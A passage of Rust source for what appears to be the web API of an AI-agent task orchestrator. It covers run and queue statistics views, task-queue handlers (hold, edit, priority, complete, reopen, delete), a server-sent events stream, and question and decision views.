7452 agent: a.agent.clone(),
7453 seated: a.seated,
7454 proposed: a.proposed,
7455 absent: a.absent,
7456 faint: a.faint,
7457 strong: a.strong,
7458 reflection_rate: RateView::of(a.strong, a.proposed),
7459 }
7460 }
7461}
7462
7463#[derive(Debug, Serialize)]
7465struct E2eStatsView {
7466 rounds: usize,
7467 failures: usize,
7468 sole_detections: usize,
7469 deferred: usize,
7470 sole_rate: Option<RateView>,
7471}
7472
7473impl From<&stats::E2eStats> for E2eStatsView {
7474 fn from(e: &stats::E2eStats) -> Self {
7475 Self {
7476 rounds: e.rounds,
7477 failures: e.failures,
7478 sole_detections: e.sole_detections,
7479 deferred: e.deferred,
7480 sole_rate: RateView::of(e.sole_detections, e.failures),
7481 }
7482 }
7483}
7484
7485#[derive(Debug, Serialize)]
7493struct ReleaseBumpStatsView {
7494 merged: usize,
7495 recorded: usize,
7496 pr_opened: usize,
7497 automerge_enabled: usize,
7498 merged_directly: usize,
7499 needs_attention: usize,
7500 clean: usize,
7501 coverage_rate: Option<RateView>,
7502 automerge_rate: Option<RateView>,
7503 attention_rate: Option<RateView>,
7504}
7505
7506impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
7507 fn from(b: &stats::ReleaseBumpStats) -> Self {
7508 Self {
7509 merged: b.merged,
7510 recorded: b.recorded,
7511 pr_opened: b.pr_opened,
7512 automerge_enabled: b.automerge_enabled,
7513 merged_directly: b.merged_directly,
7514 needs_attention: b.needs_attention,
7515 clean: b.clean(),
7516 coverage_rate: RateView::of(b.recorded, b.merged),
7517 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
7518 attention_rate: RateView::of(b.needs_attention, b.recorded),
7519 }
7520 }
7521}
7522
7523#[derive(Debug, Serialize)]
7525struct TaskCountsView {
7526 queued: usize,
7527 running: usize,
7528 done: usize,
7529 failed: usize,
7530 held: usize,
7531 blocked: usize,
7532 parked: usize,
7533}
7534
7535impl From<crate::queue::TaskCounts> for TaskCountsView {
7536 fn from(c: crate::queue::TaskCounts) -> Self {
7537 Self {
7538 queued: c.queued,
7539 running: c.running,
7540 done: c.done,
7541 failed: c.failed,
7542 held: c.held,
7543 blocked: c.blocked,
7544 parked: c.parked,
7545 }
7546 }
7547}
7548
7549#[derive(Debug, Serialize)]
7555struct RepoSummaryView {
7556 repo: String,
7559 name: String,
7561 runs: usize,
7562 completion_rate: Option<RateView>,
7563}
7564
7565impl From<&stats::RepoStats> for RepoSummaryView {
7566 fn from(r: &stats::RepoStats) -> Self {
7567 let t = &r.stats.totals;
7568 Self {
7569 repo: r.repo.to_string_lossy().into_owned(),
7570 name: r.name.clone(),
7571 runs: t.runs,
7572 completion_rate: RateView::of(t.merged + t.ready, t.runs),
7573 }
7574 }
7575}
7576
7577#[derive(Debug, Serialize)]
7583struct StatsView {
7584 totals: StatsTotalsView,
7585 agents: Vec<AgentStatsView>,
7587 reviewers: Vec<ReviewerStatsView>,
7589 advisors: Vec<AdvisorStatsView>,
7591 e2e: E2eStatsView,
7592 release_bumps: ReleaseBumpStatsView,
7593 queue: Option<TaskCountsView>,
7594 runs_unreadable: usize,
7604 repos: Vec<RepoSummaryView>,
7608 daily: Vec<DailyStatsView>,
7613 repo: Option<String>,
7617 retired_hidden: Vec<String>,
7621}
7622
7623#[derive(Debug, Serialize)]
7625struct DailyStatsView {
7626 date: String,
7628 runs: usize,
7629 merged: usize,
7630 ready: usize,
7631 other: usize,
7632 completion_rate: Option<RateView>,
7634}
7635
7636impl From<&stats::DayBucket> for DailyStatsView {
7637 fn from(b: &stats::DayBucket) -> Self {
7638 Self {
7639 date: b.date.to_string(),
7640 runs: b.runs,
7641 merged: b.merged,
7642 ready: b.ready,
7643 other: b.other,
7644 completion_rate: RateView::of(b.merged + b.ready, b.runs),
7645 }
7646 }
7647}
7648
7649const STATS_DAILY_DAYS: usize = 30;
7651
7652#[derive(Debug, Default, Deserialize)]
7661#[serde(default)]
7662struct StatsQuery {
7663 repo: Option<String>,
7664 all: bool,
7666 runs_only: bool,
7668}
7669
7670async fn stats_get(
7677 State(ui): State<Arc<Ui>>,
7678 Query(q): Query<StatsQuery>,
7679) -> ApiResult<Json<StatsView>> {
7680 blocking(move || {
7681 let states: Vec<RunState> = run_ids(&ui.runs)
7682 .into_iter()
7683 .filter_map(|id| read_run(&ui.runs, &id).ok())
7684 .collect();
7685 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
7686 .iter()
7687 .map(RepoSummaryView::from)
7688 .collect();
7689 let mut scoped: Vec<&RunState> = states.iter().collect();
7690 let mut collected = match &q.repo {
7691 Some(repo) => {
7692 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7693 if filtered.is_empty() {
7694 return Err(ApiError::not_found(format!(
7695 "no runs recorded against repo `{repo}`"
7696 )));
7697 }
7698 scoped = filtered.clone();
7699 stats::collect_refs(filtered)
7700 }
7701 None => stats::collect(&states),
7702 };
7703 if !q.all {
7704 let repo = q
7705 .repo
7706 .as_deref()
7707 .map_or_else(|| ui.repo.clone(), PathBuf::from);
7708 stats::retain_current_roster(&mut collected, &repo);
7709 }
7710 let daily = stats::daily(
7711 scoped,
7712 jiff::Zoned::now().date(),
7713 &jiff::tz::TimeZone::system(),
7714 STATS_DAILY_DAYS,
7715 );
7716 let queue_counts = (!q.runs_only)
7717 .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7718 Ok(Json(StatsView {
7719 totals: StatsTotalsView::from(&collected.totals),
7720 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7721 reviewers: collected
7722 .reviewers
7723 .iter()
7724 .map(ReviewerStatsView::from)
7725 .collect(),
7726 advisors: collected
7727 .advisors
7728 .iter()
7729 .map(AdvisorStatsView::from)
7730 .collect(),
7731 e2e: E2eStatsView::from(&collected.e2e),
7732 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7733 queue: queue_counts,
7734 runs_unreadable: runs_unreadable(&ui.runs),
7735 repos,
7736 daily: daily.iter().map(DailyStatsView::from).collect(),
7737 repo: q.repo.clone(),
7738 retired_hidden: collected.retired_hidden.clone(),
7739 }))
7740 })
7741 .await
7742}
7743
7744#[derive(Debug, Default, Deserialize)]
7747#[serde(default, deny_unknown_fields)]
7748struct HoldBody {
7749 reason: Option<String>,
7750}
7751
7752async fn queue_hold(
7753 State(ui): State<Arc<Ui>>,
7754 Path(id): Path<String>,
7755 body: std::result::Result<Json<HoldBody>, JsonRejection>,
7756) -> ApiResult<Json<TaskView>> {
7757 let body = match body {
7761 Ok(Json(body)) => body,
7762 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7763 Err(e) => return Err(ApiError::bad_request(e.body_text())),
7764 };
7765 let reason = body.reason.filter(|r| !r.trim().is_empty());
7766 mutate(ui, id, move |t| {
7767 t.hold_manual(reason.clone());
7768 Ok(())
7769 })
7770 .await
7771}
7772
7773#[derive(Deserialize)]
7774#[serde(deny_unknown_fields)]
7775struct ReassignBody {
7776 repo: PathBuf,
7777}
7778
7779async fn queue_reassign(
7780 State(ui): State<Arc<Ui>>,
7781 Path(id): Path<String>,
7782 Json(body): Json<ReassignBody>,
7783) -> ApiResult<Json<TaskView>> {
7784 let home = ui.home.clone();
7785 let task = crate::task_reassign::reassign(&ui.queue, &home, &ui.repo, &id, &body.repo, "web")
7786 .await
7787 .map_err(ApiError::bad_request_from)?;
7788 let notes = crate::task_reassign::advisory_notes(&task, &home);
7789 let mut view = TaskView::from(task);
7790 view.reassignment_notes = notes;
7791 Ok(Json(view))
7792}
7793
7794async fn queue_release(
7795 State(ui): State<Arc<Ui>>,
7796 Path(id): Path<String>,
7797) -> ApiResult<Json<TaskView>> {
7798 mutate(ui, id, |t| {
7799 t.release_operator("web", None);
7800 Ok(())
7801 })
7802 .await
7803}
7804
7805#[derive(Debug, Deserialize)]
7806#[serde(deny_unknown_fields)]
7807struct AttemptLimitBody {
7808 attempt_limit: serde_json::Value,
7810}
7811
7812async fn queue_attempt_limit(
7813 State(ui): State<Arc<Ui>>,
7814 Path(id): Path<String>,
7815 body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7816) -> ApiResult<Json<TaskView>> {
7817 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7818 let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7819 .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7820 mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7821}
7822
7823#[derive(Debug, Deserialize)]
7824#[serde(deny_unknown_fields)]
7825struct ImplementersBody {
7826 implementers: u8,
7827}
7828
7829async fn queue_implementers(
7830 State(ui): State<Arc<Ui>>,
7831 Path(id): Path<String>,
7832 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7833) -> ApiResult<Json<TaskView>> {
7834 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7835 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7836}
7837
7838#[derive(Debug, Deserialize)]
7839#[serde(deny_unknown_fields)]
7840struct UrgentBody {
7841 urgent: bool,
7842}
7843
7844async fn queue_urgent(
7845 State(ui): State<Arc<Ui>>,
7846 Path(id): Path<String>,
7847 body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7848) -> ApiResult<Json<TaskView>> {
7849 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7850 mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7851}
7852
7853#[derive(Debug, Deserialize)]
7854#[serde(deny_unknown_fields)]
7855struct ImmediateBody {
7856 immediate: bool,
7857}
7858
7859async fn queue_immediate(
7860 State(ui): State<Arc<Ui>>,
7861 Path(id): Path<String>,
7862 body: std::result::Result<Json<ImmediateBody>, JsonRejection>,
7863) -> ApiResult<Json<TaskView>> {
7864 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7865 mutate(ui, id, move |t| t.set_immediate(body.immediate)).await
7866}
7867
7868#[derive(Debug, Deserialize)]
7870#[serde(deny_unknown_fields)]
7871struct PriorityBody {
7872 priority: i32,
7873}
7874
7875async fn queue_priority(
7881 State(ui): State<Arc<Ui>>,
7882 Path(id): Path<String>,
7883 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7884) -> ApiResult<Json<TaskView>> {
7885 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7886 mutate(ui, id, move |t| t.set_priority(body.priority)).await
7887}
7888
7889#[derive(Debug, Deserialize)]
7891#[serde(deny_unknown_fields)]
7892struct EditBody {
7893 title: String,
7894 instruction: String,
7895 #[serde(default)]
7898 force: bool,
7899}
7900
7901async fn queue_edit(
7905 State(ui): State<Arc<Ui>>,
7906 Path(id): Path<String>,
7907 body: std::result::Result<Json<EditBody>, JsonRejection>,
7908) -> ApiResult<Json<TaskView>> {
7909 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7910 let mut judged: Option<(String, PathBuf)> = None;
7914 if !body.force {
7915 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7916 let (id, text) = (id.clone(), body.instruction.clone());
7917 let (seen, hits) = blocking(move || {
7918 let id = resolve_task(&queue, &id)?;
7919 let t = queue.get(&id)?;
7920 if text == t.instruction {
7921 return Ok((None, Vec::new()));
7922 }
7923 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7924 Ok((Some((t.instruction, t.repo)), hits))
7925 })
7926 .await?;
7927 if let Some((_, repo)) = &seen {
7928 let cfg = crate::config::Config::discover(repo, None)
7929 .ok()
7930 .map(|(c, _)| c);
7931 let screened =
7932 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7933 .await
7934 .map_err(|dup| {
7935 ApiError::conflict(dup.render(
7936 "Nothing was saved. If it is not a duplicate, repeat the request \
7937 with \"force\": true.",
7938 ))
7939 })?;
7940 if let crate::dupes::Screened::Unjudged(why) = screened {
7941 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7942 }
7943 }
7944 judged = seen;
7945 }
7946 let force = body.force;
7947 mutate(ui, id, move |t| {
7948 if !force && body.instruction != t.instruction {
7949 match &judged {
7950 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7951 _ => {
7952 anyhow::bail!("the task changed while it was being checked; repeat the request")
7953 }
7954 }
7955 }
7956 t.edit(body.title.clone(), body.instruction.clone())
7957 })
7958 .await
7959}
7960
7961#[derive(Debug, Default, Deserialize)]
7962#[serde(default, deny_unknown_fields)]
7963struct CompleteBody {
7964 reason: Option<String>,
7965 result: Option<String>,
7966 discard: bool,
7967}
7968
7969async fn queue_done(
7971 State(ui): State<Arc<Ui>>,
7972 Path(id): Path<String>,
7973 body: std::result::Result<Json<CompleteBody>, JsonRejection>,
7974) -> ApiResult<Json<TaskView>> {
7975 let body = match body {
7976 Ok(Json(body)) => body,
7977 Err(JsonRejection::MissingJsonContentType(_)) => CompleteBody::default(),
7978 Err(e) => return Err(ApiError::bad_request(e.body_text())),
7979 };
7980 let state = Arc::clone(&ui);
7981 let claimed = blocking(move || claim_task(&state.queue, &id)).await?;
7982 let task = crate::task_completion::close_claimed(
7983 &ui.queue,
7984 &ui.home,
7985 claimed,
7986 crate::queue::CompletionActor::Web,
7987 body.reason,
7988 body.result,
7989 body.discard,
7990 )
7991 .await
7992 .map_err(ApiError::completion)?;
7993 Ok(Json(TaskView::from(task)))
7994}
7995
7996#[derive(Debug, Deserialize)]
7997#[serde(deny_unknown_fields)]
7998struct ReopenBody {
7999 reason: String,
8000}
8001
8002async fn queue_reopen(
8004 State(ui): State<Arc<Ui>>,
8005 Path(id): Path<String>,
8006 Json(body): Json<ReopenBody>,
8007) -> ApiResult<Json<TaskView>> {
8008 let state = Arc::clone(&ui);
8009 let claimed = blocking(move || claim_task(&state.queue, &id)).await?;
8010 let task = crate::task_completion::reopen_claimed(
8011 &ui.queue,
8012 &ui.home,
8013 claimed,
8014 crate::queue::CompletionActor::Web,
8015 &body.reason,
8016 )
8017 .await
8018 .map_err(ApiError::completion)?;
8019 Ok(Json(TaskView::from(task)))
8020}
8021
8022async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
8030 blocking(move || {
8031 let id = resolve_task(&ui.queue, &id)?;
8032 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
8033 ui.queue
8034 .remove(&id, in_flight, &ui.questions)
8035 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
8036 Ok(StatusCode::NO_CONTENT)
8037 })
8038 .await
8039}
8040
8041fn claim_task(queue: &Queue, reference: &str) -> ApiResult<(crate::queue::Claim, Task)> {
8043 let id = resolve_task(queue, reference)?;
8044 let claim = queue.claim(&id).map_err(|e| {
8045 ApiError::conflict(format!(
8046 "{e:#} - a daemon is running this task, so it cannot be \
8047 changed from here yet; wait until it is released, then retry"
8048 ))
8049 })?;
8050 Ok((claim, queue.get(&id)?))
8051}
8052
8053async fn mutate(
8062 ui: Arc<Ui>,
8063 id: String,
8064 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
8065) -> ApiResult<Json<TaskView>> {
8066 blocking(move || {
8067 let task = {
8068 let (_claim, mut task) = claim_task(&ui.queue, &id)?;
8069 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
8070 Ok(dup) => ApiError::conflict(dup.render(
8071 "Nothing was saved. If it is not a duplicate, repeat the request with \
8072 \"force\": true.",
8073 )),
8074 Err(e) => ApiError::bad_request_from(e),
8075 })?;
8076 ui.queue.put(&mut task)?;
8077 task
8078 };
8079 let inv = (task.status == TaskStatus::Blocked)
8080 .then(|| crate::blockers::Inventory::load_for(&ui.queue, &ui.questions, &task));
8081 let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
8082 let view = match inv.as_ref() {
8083 Some(inv) => TaskView::with_inventory(task, inv),
8084 None => TaskView::from(task),
8085 }
8086 .with_admission(&admission, &ui.queue, inv.as_ref(), &ui.home);
8087 Ok(Json(view))
8088 })
8089 .await
8090}
8091
8092async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
8097 ui.monitor.ensure_worker(&ui);
8098 let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
8099 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
8100
8101 let state = Arc::clone(&ui);
8102 tokio::spawn(async move {
8103 let initial_revisions = {
8104 let guard = match state.monitor.latest.lock() {
8105 Ok(g) => g,
8106 Err(p) => p.into_inner(),
8107 };
8108 guard.as_ref().map(|(r, _)| *r)
8109 };
8110 if let Some(revisions) = initial_revisions {
8111 let initial_payload = serde_json::json!({
8112 "queue_rev": revisions.0,
8113 "runs_rev": revisions.1,
8114 "questions_rev": revisions.2,
8115 "talks_rev": revisions.3,
8116 "notifications_rev": revisions.4,
8117 "loop_rev": revisions.5,
8118 });
8119
8120 if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
8121 if tx.send(event).await.is_err() {
8122 return;
8123 }
8124 }
8125 }
8126
8127 loop {
8128 match tokio::select! {
8129 _ = tx.closed() => return,
8130 value = broadcast_rx.recv() => value,
8131 } {
8132 Ok(notif) => {
8133 let Ok(event) = Event::default().event("change").json_data(notif.payload)
8134 else {
8135 break;
8136 };
8137 if tx.send(event).await.is_err() {
8138 break;
8139 }
8140 }
8141 Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
8142 let revs = {
8143 let guard = match state.monitor.latest.lock() {
8144 Ok(g) => g,
8145 Err(p) => p.into_inner(),
8146 };
8147 guard.as_ref().map(|(r, _)| *r)
8148 };
8149 if let Some(revs) = revs {
8150 let payload = serde_json::json!({
8151 "queue_rev": revs.0,
8152 "runs_rev": revs.1,
8153 "questions_rev": revs.2,
8154 "talks_rev": revs.3,
8155 "notifications_rev": revs.4,
8156 "loop_rev": revs.5,
8157 });
8158 if let Ok(event) = Event::default().event("change").json_data(payload) {
8159 if tx.send(event).await.is_err() {
8160 break;
8161 }
8162 }
8163 }
8164 }
8165 Err(tokio::sync::broadcast::error::RecvError::Closed) => {
8166 break;
8167 }
8168 }
8169 }
8170 });
8171
8172 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
8173 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
8174}
8175
8176fn run_ids(runs: &FsPath) -> Vec<String> {
8182 let mut ids: Vec<String> = std::fs::read_dir(runs)
8183 .into_iter()
8184 .flatten()
8185 .flatten()
8186 .filter(|e| e.path().join("run.json").is_file())
8187 .map(|e| e.file_name().to_string_lossy().into_owned())
8188 .collect();
8189 ids.sort_unstable_by(|a, b| b.cmp(a));
8191 ids
8192}
8193
8194fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
8196 let path = runs.join(id).join("run.json");
8197 let body =
8198 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
8199 let state: RunState =
8200 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
8201 run::migrate_schema(state)
8206}
8207
8208#[must_use]
8216pub fn runs_unreadable(runs: &FsPath) -> usize {
8217 run_ids(runs)
8218 .into_iter()
8219 .filter(|id| read_run(runs, id).is_err())
8220 .count()
8221}
8222
8223fn plain_record_id(id: &str) -> bool {
8224 !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
8225}
8226
8227fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
8229 if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
8230 return Ok(id.to_owned());
8231 }
8232 pick(run_ids(runs), id, "run")
8233}
8234
8235fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
8237 if plain_record_id(id) && queue.path_of(id).is_file() {
8238 return Ok(id.to_owned());
8239 }
8240 let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
8241 pick(ids, id, "task")
8242}
8243
8244#[derive(Debug, Serialize)]
8255struct QuestionView {
8256 can_answer: bool,
8257 history_only: bool,
8259 choice_effects: std::collections::BTreeMap<String, String>,
8260 record_revision: String,
8261 #[serde(flatten)]
8262 question: Question,
8263 detail_md: Vec<md::Node>,
8264 posting_view: Option<PostingView>,
8265 thread_bodies_md: Vec<Vec<md::Node>>,
8267 thread_notes_md: Vec<Option<Vec<md::Node>>>,
8270 waiting_on_agent: bool,
8280 holder: Option<&'static str>,
8284 deputies_enabled: bool,
8288 deputy_exhausted: bool,
8291 text_delivery: crate::question_delivery::Availability,
8292 run_is_task: bool,
8295 origin_chat: Option<String>,
8298 origin_chat_closed: bool,
8300 can_consult_chat: bool,
8302}
8303
8304#[derive(Debug, Serialize)]
8305struct PostingView {
8306 before_md: Vec<md::Node>,
8307 after_md: Vec<md::Node>,
8308 fields: Vec<crate::github_text::ComparisonView>,
8309}
8310
8311fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
8312 let comparison = question.posting_comparison.as_ref()?;
8313 if !comparison.matches_detail(&question.detail) {
8314 return None;
8315 }
8316 let mut ids = std::collections::BTreeSet::new();
8317 if comparison.fields.is_empty()
8318 || comparison
8319 .fields
8320 .iter()
8321 .flat_map(|f| &f.pairs)
8322 .any(|p| !ids.insert(p.id))
8323 || comparison
8324 .fields
8325 .iter()
8326 .flat_map(|f| &f.original_triggers)
8327 .any(|t| !ids.insert(t.id))
8328 {
8329 return None;
8330 }
8331 let fields = comparison
8332 .fields
8333 .iter()
8334 .map(|f| f.view(comparison.excerpt))
8335 .collect::<Option<Vec<_>>>()?;
8336 Some(PostingView {
8337 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
8338 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
8339 fields,
8340 })
8341}
8342
8343impl QuestionView {
8344 fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
8348 let base = md::ImageBase::QuestionPanel {
8349 id: question.id.clone(),
8350 };
8351 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
8352 Self {
8353 can_answer: question.can_answer(),
8354 history_only: store.held_reply(&question.id),
8355 choice_effects: question
8356 .choices
8357 .iter()
8358 .filter_map(|c| {
8359 crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
8360 })
8361 .collect(),
8362 record_revision: question_record_revision(&question),
8363 detail_md: md::to_nodes(&question.detail, &base),
8364 posting_view: posting_view(&question, &base),
8365 thread_bodies_md: question
8366 .thread
8367 .iter()
8368 .map(|t| md::to_nodes(&t.body, &base))
8369 .collect(),
8370 thread_notes_md: question
8371 .thread
8372 .iter()
8373 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
8374 .collect(),
8375 deputy_exhausted: store.deputy_exhausted(&question),
8376 waiting_on_agent: question.waiting_on_agent(),
8377 holder,
8378 deputies_enabled: deputies_enabled(cfg, &question),
8379 text_delivery: crate::question_delivery::availability(store, &question, cfg),
8380 run_is_task: question.run_names_task(),
8381 origin_chat: None,
8382 origin_chat_closed: false,
8383 can_consult_chat: false,
8384 question,
8385 }
8386 }
8387
8388 fn with_origin(
8390 mut self,
8391 tasks: &[crate::queue::Task],
8392 talks: &[Talk],
8393 watches: &[crate::release_watch::WatchState],
8394 ) -> Self {
8395 let consult = crate::consult::origin_talk(tasks, talks, &self.question);
8396 self.can_consult_chat = consult.is_some();
8397 let talk =
8398 crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
8399 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
8400 self.origin_chat = talk.map(|t| t.id);
8401 self
8402 }
8403}
8404
8405fn deputy_config(repo: &std::path::Path) -> Option<Config> {
8409 Config::discover(repo, None).ok().map(|(c, _)| c)
8410}
8411
8412fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
8414 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
8415}
8416
8417fn question_views(
8420 qs: Vec<Question>,
8421 store: &ask::Questions,
8422 load: impl FnOnce() -> Option<Config>,
8423) -> Vec<QuestionView> {
8424 if qs.is_empty() {
8425 return Vec::new();
8426 }
8427 let cfg = load();
8428 qs.into_iter()
8429 .map(|q| QuestionView::of(q, store, cfg.as_ref()))
8430 .collect()
8431}
8432
8433fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
8443 if !q.status.open() {
8444 return None;
8445 }
8446 if q.cwd.is_none()
8447 && q.deputy.is_none()
8448 && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
8449 {
8450 return crate::deputy::kind_of(q).map(|_| "nobody");
8451 }
8452 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
8453 Some(_) if q.deputy.is_some() => "deputy",
8454 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
8455 Some(_) => "asker",
8456 None => "nobody",
8457 })
8458}
8459
8460#[derive(serde::Serialize)]
8466struct DecisionView {
8467 id: String,
8468 task: String,
8469 run: Option<String>,
8470 chat: Option<String>,
8471 display: String,
8472 delivery_error: Option<String>,
8473 decision: crate::task_decision::Decision,
8474 attention: crate::task_decision::Attention,
8475 next_step: &'static str,
8476 last_observation: Option<String>,
8477}
8478
8479impl DecisionView {
8480 fn from_inquiry(inquiry: crate::task_inquiry::Inquiry) -> Option<Self> {
8481 let attention = inquiry.attention()?;
8482 let last_observation = inquiry
8483 .decision
8484 .as_ref()?
8485 .last_observation
8486 .as_ref()
8487 .map(|o| o.describe());
8488 Some(Self {
8489 id: inquiry.id,
8490 task: inquiry.task,
8491 run: inquiry.run,
8492 chat: inquiry.delivered_to,
8493 display: inquiry.display,
8494 delivery_error: inquiry.delivery_error,
8495 decision: inquiry.decision?,
8496 attention,
8497 next_step: match attention {
8498 crate::task_decision::Attention::OwnerChoice => {
8499 "Discuss the choice in the owning chat."
8500 }
8501 crate::task_decision::Attention::ReceiptCheck => {
8502 "Check durable receipts before retrying; do not replay the request."
8503 }
8504 crate::task_decision::Attention::InFlight => {
8505 "Wait for the effect or execution-start receipt."
8506 }
8507 crate::task_decision::Attention::ReleaseFollowup => {
8508 "Inspect the remaining release work independently of the original merge."
8509 }
8510 crate::task_decision::Attention::StaleTarget => {
8511 "Inspect the changed or closed target; do not approve an old head."
8512 }
8513 crate::task_decision::Attention::Resolved => {
8514 "Inspect the recorded closure reason in history."
8515 }
8516 },
8517 last_observation,
8518 })
8519 }
8520}
8521
8522#[derive(serde::Serialize)]
8523struct DecisionsView {
8524 items: Vec<DecisionView>,
8525 unreadable: usize,
8526 migration_errors: Vec<crate::task_chat::MigrationIssue>,
8527}
8528
8529async fn decisions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<DecisionsView>> {
8532 blocking(move || {
8533 let (items, unreadable) = crate::task_inquiry::Outbox::at(&ui.home).list_readable()?;
8534 let mut views: Vec<_> = items
8535 .into_iter()
8536 .filter_map(DecisionView::from_inquiry)
8537 .collect();
8538 views.sort_by_key(|view| {
8539 (
8540 view.decision.status == crate::task_decision::Status::Resolved,
8541 view.id.clone(),
8542 )
8543 });
8544 Ok(Json(DecisionsView {
8545 items: views,
8546 unreadable,
8547 migration_errors: crate::task_chat::migration_issues(&ui.home),
8548 }))
8549 })
8550 .await
8551}
8552
8553async fn decision_get(
8554 State(ui): State<Arc<Ui>>,
8555 Path(id): Path<String>,
8556) -> ApiResult<Json<DecisionView>> {
8557 blocking(move || {
8558 let inquiry = crate::task_inquiry::Outbox::at(&ui.home).get(&id)?;
8559 DecisionView::from_inquiry(inquiry)
8560 .map(Json)
8561 .ok_or_else(|| ApiError::not_found("inquiry is informational"))
8562 })
8563 .await
8564}
8565
8566async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8567 blocking(move || {
8568 let questions = ui.questions.list();
8569 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8570 Ok(Json(
8571 question_views(questions, &ui.questions, || deputy_config(&ui.repo))
8572 .into_iter()
8573 .map(|view| view.with_origin(&tasks, &talks, &watches))
8574 .collect(),
8575 ))
8576 })
8577 .await
8578}
8579
8580async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8582 blocking(move || {
8583 Ok(Json(question_views(
8584 ui.questions.list(),
8585 &ui.questions,
8586 || deputy_config(&ui.repo),
8587 )))
8588 })
8589 .await
8590}
8591
8592fn question_record_revision(question: &Question) -> String {
8593 use std::hash::{Hash as _, Hasher as _};
8594 let mut hash = std::hash::DefaultHasher::new();
8595 serde_json::to_vec(question)
8596 .expect("serializable question")
8597 .hash(&mut hash);
8598 format!("{:016x}", hash.finish())
8599}
8600
8601#[derive(Serialize)]
8602struct QuestionOriginView {
8603 id: String,
8604 record_revision: String,
8605 origin_chat: Option<String>,
8606 origin_chat_closed: bool,
8607 can_consult_chat: bool,
8608}
8609
8610async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
8611 blocking(move || {
8612 let questions = ui.questions.list();
8613 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8614 Ok(Json(
8615 questions
8616 .into_iter()
8617 .map(|question| {
8618 let consult = crate::consult::origin_talk(&tasks, &talks, &question);
8619 let can_consult_chat = consult.is_some();
8620 let talk = crate::consult::associated_talk_with_watches(
8621 &tasks, &talks, &question, &watches,
8622 );
8623 QuestionOriginView {
8624 record_revision: question_record_revision(&question),
8625 id: question.id,
8626 origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
8627 origin_chat: talk.map(|talk| talk.id),
8628 can_consult_chat,
8629 }
8630 })
8631 .collect(),
8632 ))
8633 })
8634 .await
8635}
8636
